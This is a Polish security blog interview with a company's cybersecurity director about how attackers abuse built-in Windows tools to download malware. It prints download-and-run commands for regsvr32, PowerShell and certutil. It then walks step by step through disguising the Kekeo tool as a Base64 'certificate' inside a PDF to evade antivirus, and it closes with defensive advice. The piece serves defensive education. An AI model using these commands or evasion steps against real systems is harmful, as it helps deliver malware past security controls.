Zapytaliśmy dyrektora ds. Cyberbezpieczeństwa w firmie Appeal – Grzegorza Szafrańskiego:

Jak cyberprzestępcy omijają współczesne programy antywirusowe i zabezpieczenia brzegowe, aby móc pobrać złośliwe oprogramowanie na komputery w firmie?


Faktem jest, że obecnie do pozyskiwania ofiar cyberprzestępcom coraz trudniej używa się technik w postaci wysyłania bezpośrednich linków lub zainfekowanych plików w mailach. Współczesne technologie bezpieczeństwa stosowane w firmach na ogół potrafią skutecznie wyłapywać tego typu zagrożenia z zewnątrz. Pozytywną informacją jest także to, że rośnie świadomość bezpieczeństwa wśród samych pracowników w firmach i nie klikają już tak często dziwnie wyglądających linków lub nie otwierają podejrzanych maili, które najczęściej są źródłem kampanii phishingowych lub scamu. Skutkiem tego byłaby poważna infekcja ich komputerów. O tym jak wygląda współczesny Świat zabezpieczeń w firmach Kapitan Hack pisał tutaj (Czy potrafisz wykryć wewnętrzne zagrożenie cybernetyczne w swojej firmie?)

Natomiast, jeśli już dojdzie do takiej sytuacji, że cyberprzestępcom w jakiś sposób uda się ominąć powyższe bariery i zdobędą dostęp do komputera ofiary mogą natrafić na dalszą przeszkodę – blokadę aplikacji. Coraz trudniej będzie im uruchomić nieznane aplikacje, które pobierają dodatkowe programy lub biblioteki do wykonywania dalszych kroków ataku (np. do przeprowadzenia ataku KILLCHAIN). Operacje takie mogą być zablokowane przez system operacyjny (w zależności od wersji), bądź inne narzędzia do bezpieczeństwa w zależności od tego, czy firma je zaimplementowała i prawidłowo je skonfigurowała. Nakłania to cyberprzestępców do szukania coraz to nowych, wyrafinowanych i unikalnych obejść/metod oraz dróg, aby móc w niezauważony sposób pobrać i uruchomić malware/ransomware na komputerze w firmie.

Niestety jak to w Świecie postępu technik badawczych okazuje się, że pojawiły się nowe możliwości obejścia tych problemów dzięki zastosowaniu niektórych, wbudowanych w Windows – systemowych programów, które w swoich zaawansowanych funkcjach pozwalają pobrać złośliwy kod.

Cyberprzestępcy muszą zatem posuwać się do coraz to bardziej wyrafinowanych metod i używać najnowszych technologii maskowania tego typu ruchu, aby nie być zauważonym w sieci oraz przez rozwiązania bezpieczeństwa bazujące na sygnaturowym wykrywaniu zagrożeń.


Jakie metody pobierania malware używają współcześni cyberprzestępcy?


Z doświadczenia i na podstawie naszej pracy z klientami zaobserwowaliśmy trzy najczęstsze i jeszcze słabo wykrywalne przez systemy bezpieczeństwa metody do pobierania malware/ransomware na komputerach z Windows. Należą do nich:

  • Regsvr32.exe – pozwala na instalację z określonego adresu URL specjalnie przygotowanego skryptu JScript. Na przykład przy użyciu komendy:
    Regsvr32 /s /n /u /i:https://serwer/ransomware.sct biblioteka.dll
  • Powershell.exe – szeroko używany przez cyberprzestępców. Na przykład przy użyciu komendy:
    powershell -c “(New-Object System.Net.WebClient).DownloadString(‘URL’)”
  • CertUtil.exe – pozwala wykonać dwie ciekawe komendy, które sprawdzą, czy dany adres URL odpowiada oraz pobiorą z podanego adresu plik i zapiszą go pod dowolną nazwą i rozszerzeniem:
    certutil -ping [URL]
    certutil -urlcache -split -f [URL] [plik_wyjściowy]

Zaletą używania powyższych narzędzi w Świecie cyberprzestępczości jest to, że są wbudowane w system operacyjny Windows, nie trzeba ich instalować ani dodatkowo pobierać, natomiast ich uruchomienie nie jest kojarzone przez programy antywirusowe (w tym wbudowany w system Windows Defender) jako źródło czegoś złego, ponieważ ich użycie wiąże się z normalnymi operacjami przeprowadzanymi w systemie operacyjnym.

Oczywiście może ktoś zadać pytanie, co będzie w sytuacji, jeśli kontrolujemy na komputerach w firmie uruchamianie programów Applocker’em (wbudowanym od Windows 7) lub oprogramowaniem firm trzecich kontrolującym odpalane procesy? Oczywiście tutaj możemy mieć pewne trudności w zależności od sposoby implementacji tych mechanizmów, ale w szczególnych przypadkach i na mniej zabezpieczonych komputerach w 99% uruchomienie tych komend daje pozytywny wynik i jest niewykrywane.

Zabronienie ich używania groziłoby mocnym ograniczeniem funkcjonowania systemu, a także problemami w funkcjonowaniu niektórych aplikacji, których praca jest od nich zależna. Daje to możliwość cyberprzestępcom wykorzystania tych luk w systemie i wykorzystania ich do użycia przez napisane przez nich złośliwe oprogramowanie.

W środowisku cyberprzestępczości istnieją jeszcze inne komendy pozwalające także na wykonanie złośliwego kodu po stronie komputera. Warto mieć na nie oko. Są to między innymi komendy:

  • appsyncvpublishing.exe,
  • control.exe,
  • csc.exe,
  • cscript.exe/wscript.exe,
  • forfiles.exe,
  • msbuild.exe,
  • msiexec.exe,
  • mshta.exe,
  • rundll32.exe,
  • winrm.exe,
  • wmic.exe,

natomiast nie chciałbym się w tej chwili na nich skupiać, ponieważ chciałbym opisać dokładniej najciekawszą myślę metodę wykorzystującą wymienione powyżej narzędzie CertUtil.


Instalacja Certyfikatu, a może pobierzemy malware?


Odkryta w 2017r. przez Analityka ds. Bezpieczeństwa Casey’a Smith metoda pobierania złośliwego oprogramowana CertUtil może zostać wykorzystana do pobrania złośliwego oprogramowania. Wykorzystuje ona wbudowane w Microsoft Windows narzędzie systemowe do zarządzania Certyfikatami o nazwie CertUtil.exe i jest dostępna dla każdego użytkownika Windows. Za pomocą tego programu można instalować, wykonywać kopie zapasowe, usuwać, zarządzać i wykonywać różne funkcje związane z certyfikatami i magazynami certyfikatów w systemie Windows.

Jedną z funkcji CertUtil jest możliwość pobrania certyfikatu lub dowolnego innego pliku ze zdalnego adresu URL i zapisania go jako pliku lokalnego przy użyciu składni:

>certutil.exe -urlcache -split -f [URL] plik_wyjsciowy

Użycie certutil można porównać do komendy curl (używanej na systemach Linux). Dzięki CertUtil cyberprzestępca ma szerokie możliwości do działania, ponieważ może wykorzystać narzędzie do pobrania oraz uruchomienia dosłownie wszystkiego, co mu podsuniemy – to niezwykle niebezpieczna sytuacja.


Czy jest się czego bać?


Oczywiście, że TAK! Większość oprogramowania do bezpieczeństwa lub brzegowych rozwiązań sieciowych bazuje na sygnaturowym podejściu do wykrywania zagrożeń. Jeśli widzą kod, którego dopasowały na podstawie porównania z wcześniej pobranymi sygnaturami złośliwego oprogramowania, nie przepuszczają go dalej przez sieć lub próbują umieścić w kwarantannie.

Niektórzy cyberprzestępcy posuwają się o krok dalej – przed pobraniem pliku kodują go w Base64 i pobierają przez szyfrowany kanał HTTPS. Po pobraniu na komputer komendą:

>certutil.exe -urlcache -split -f [URL] plik_wyjsciowy

mogą zdekodować plik wejściowy na plik wykonywalny i uwaga – w tym celu też mogą użyć tego samego narzędzia CertUtil!:

>certutil.exe -decode plik_wyjsciowy plik_wynikowy.exe

Użycie tych dwóch komend daje cyberprzestępcom dwie dodatkowe korzyści:

  • zakodowany kod jest w zmienionej postać, dzięki temu jest trudniej wykrywany przez oprogramowanie antywirusowe i brzegowe rozwiązania proxy, czy nawet firewalle.
  • komunikacja po szyfrowanym kanale HTTPS ukrywa warstwę danych jaka jest przesyłana w sieci, dzięki czemu firewalle brzegowe nie będą mogły przeanalizować zawartości pliku, aby porównać ją z sygnaturami złośliwego oprogramowania.

Przetestujmy dokładnie nasze systemy do bezpieczeństwa!


Aby bardziej zobrazować problem i przekonać się o tym jak potężna i groźna jest to metoda wykonajmy test polegający na pobraniu narzędzia Kekeo autorstwa Benjamina Delpy, którego kod jest ogólnie dostępny w Internecie i można go dowolnie modyfikować. Więcej możliwościach Kekeo w kampanii KILLCHAIN. Autor tego narzędzia nazywa go małym narzędziem służącym do zabawy z biletami Kerberos 🙂 O dziwo Windows Defender nie traktuje Kekeo jako złośliwe oprogramowanie!

Do celów tego testu posłużmy się oficjalnie dostępną wersją Kekeo 2.1.0. Własna kompilacja i zmiany w niej z pewnością pozwoliłyby jeszcze bardziej ukryć się przed oprogramowaniem antywirusowym, ale zobaczmy co możemy zrobić na oficjalnej wersji Kekeo 2.1.0 z zastosowaniem Base64 i CertUtil.

1.
Najpierw sprawdźmy, jak sobie radzą systemy do bezpieczeństwa z wykrywalnością oficjalnej wersji Kekeo. Sam plik waży 579KB! W tym celu wgraliśmy nasz plik na portal https://virustotal.com. Wynik: tylko 10/68 silników rozwiązań do bezpieczeństwa traktuje Kekeo jako złośliwe oprogramowanie.

Oficjalna wersja Kekeo 2.1.0 wykryta przez 10/68 silników AV

2.
Utrudnijmy troszkę sprawę systemom do bezpieczeństwa i zakodujmy Kekeo w Base64. Aby było szybciej do tego celu posłużymy się portalem https://www.base64encode.org. Zakodować program możemy też innymi narzędziami dostępnymi na rynku. Kekeo zakodowane w base64 (waga pliku trochę nam wzrosła do 773KB) i zapisane pod nazwą „pliczek.txt”. Czy nie przypomina nam on trochę certyfikatu Base64?

Kekeo zakodowane w Base64

3.
Powtórzymy krok 1, ale tym razem dla naszego zakodowanego w Base64 pliku „pliczek.txt”. Otrzymany wynik całkiem zadowalający, bo już tylko 4/56 rozwiązania wykryły złośliwe oprogramowanie.

Kekeo zakodowane w Base64 wykryte przez 4/56 silników AV

4.
Na tym kroku moglibyśmy się zatrzymać i umieścić plik pod jakimś ciekawym adresem w Internecie (oczywiście szyfrowanym HTTPS), lecz pokusiliśmy się o wykonanie jeszcze jednego dodatkowego kroku – Umieszczenia kodu Kekeo zakodowanego w Base64 w dokumencie PDF – najpopularniejszym formacie wysyłania dokumentów w firmach 🙂 Aby jeszcze lepiej przyćmić czujność systemów bezpieczeństwa na początku pliku i na końcu pliku dodaliśmy linijki często odpowiadające początkowi i końcowi certyfikatu np. “—–BEGIN CERTIFICATE—–” oraz “—–END CERTIFICATE—–“ i zmieniliśmy rozszerzenie pliku z PDF na popularne dla certyfikatów np. dla kodowanych Base64 certyfikatów X.509 Certificate – .cer lub .crt. Poza jego rozmiarem plik do złudzenia będzie przypominał certyfikat. Nazwa pliku niech będzie „my_new_certificate.cer

Rozmiar wzrósł nam teraz do 1490KB,a sam plik „my_new_certificate.cer” wraz z wklejonym kodem Kekeo zakodowanym w Base64 wygląda następująco:

Kekeo zakodowane w Base64 w formacie pdf

5.
W tym kroku powtórzymy operację z kroku 1 i sprawdźmy, jak sobie poradzą systemy bezpieczeństwa ze zmienionym formatem pliku. Ku naszemu zdziwieniu okazuje się, że żaden system nie rozpoznał złośliwego kodu wklejonego do PDF’a! Zatem istnieje prawdopodobieństwo, że taki plik zostanie z sukcesem wgrany na stację roboczą lub zapisany z maila jako załącznik.

Kekeo zakodowane w Base64 i zapisane w formacie pdf nie wykryte przez żaden silnik AV

6.
Teraz możemy wrzucić fałszywy „plik certyfikatu” na portal i pobrać go za pomocą wbudowanego w system narzędzia CertUtil (oczywiście są też inne opcje dostarczenia go do użytkownika – chociażby przez pocztę e-mail)
Podczas pobierania certyfikatu narzędziem CertUtil na pewno przyćmimy cały proces, bo plik do złudzenia przypominać będzie certyfikat nawet z poziomu linii komend.

Pobierzmy zatem plik „my_new_certificate.cer” W tym celu zalogujmy się na windows 10 jako zwykły użytkownik i pobierzemy plik „my_new_certificate.cer” przy użyciu polecenia i zapiszmy go jako certyfikat.cer:

>certutil.exe -urlcache -split -f [URL] plik_wyjsciowy

Udane pobranie pliku z Internetu i zapisanie go na lokalnym dysku komputera

7.
Następnie otwieramy plik „certyfikat.cer” w naszej ulubionej przeglądarce PDF 🙂 Zaznaczamy cała treść „CTRL+A” (ważne, aby w Adobe w opcjach była włączona opcja Auto Scrolling, bo inaczej nie zaznaczy nam się wszystko w tekscie). Wklejamy całą zawartość do notatnika (233 strony). Pozbywamy się pierwszej i ostatniej wklejonej linii “—–BEGIN CERTIFICATE—–” oraz “—–END CERTIFICATE—–“ i zostanie już nam tylko do zdekodowania czysty kod Base64 naszej aplikacji Kekeo. Plik w notatniku oczywiście zapisujemy jako „zakodowany_certyfikat.cer

Kekeo na dysku lokalnym komputera jako zakodowany certyfikat

8.
Ostatnim krokiem jaki wykonamy to dekodowanie pliku Base64 z opcją wygenerowania pliku wyjściowego, który będzie plikiem wykonywalnym. Użyjemy do tego komendy:

>certutil.exe -decode plik_wyjsciowy plik_wynikowy.exe

Program Kekeo – gotowy do działania

Na ostatnim ekranie widzimy zdekodowana aplikacje „kekeo.exe” i jej udane uruchomienie. Dalej już wiadomo co można robić. Opisaliśmy to tutaj KEKEO

Jak widzimy udało nam się przy użyciu wbudowanego w system narzędzia CertUtil na koncie zwykłego użytkownika pobrać z Internetu fałszywy certyfikat, który zawierał w sobie zakodowany w Base64 program kekeo.exe, następnie na komputerze ofiary zdekodowaliśmy go i uruchomiliśmy program.


Jakie są mechanizmy ochrony? Jak z tym żyć?


Opisany powyżej przypadek jest o tyle trudny do ochrony, że nie jest wykrywany przez systemy bezpieczeństwa. Z obserwacji i doświadczeń firmy Appeal wynika, że powinniśmy:

  • Zaimplementować porządnie systemy blokowania przed uruchomieniem niedozwolonych aplikacji – nawet jeśli komuś uda się pobrać aplikację i ją zdekodować, aplikacja nie będzie w stanie się uruchomić na systemie
  • Zabronić komunikacji sieciowej CertUtil i innych systemowych aplikacji z Internetem.
  • Monitorować aktywność na plikach (w szczególności aktywności użytkowników na plikach w folderze C:\Windows\system32)– będziemy mieć ślad, że powstają określonego typu pliki lub jest zmieniana ich nazwa.
  • Odciąć ważne komputery od Internetu.
  • Używać rozszywarek ruchu SSL.
  • Stosować inteligentne firewalle brzegowe z możliwością dekodowania Base64.
  • Monitorować podejrzane logowania i zmiany użytkowników w tym aktywności z KILLCHAIN

Uczenie maszynowe miałoby tu duże zastosowanie, ponieważ mogłoby nam wykryć nietypowe połączenie stacji roboczej na nowe adresy sieciowe i pobieranie z nich plików. Nie powinniśmy ignorować takich alarmów i dokładnie sprawdzać co się w nich zadziało.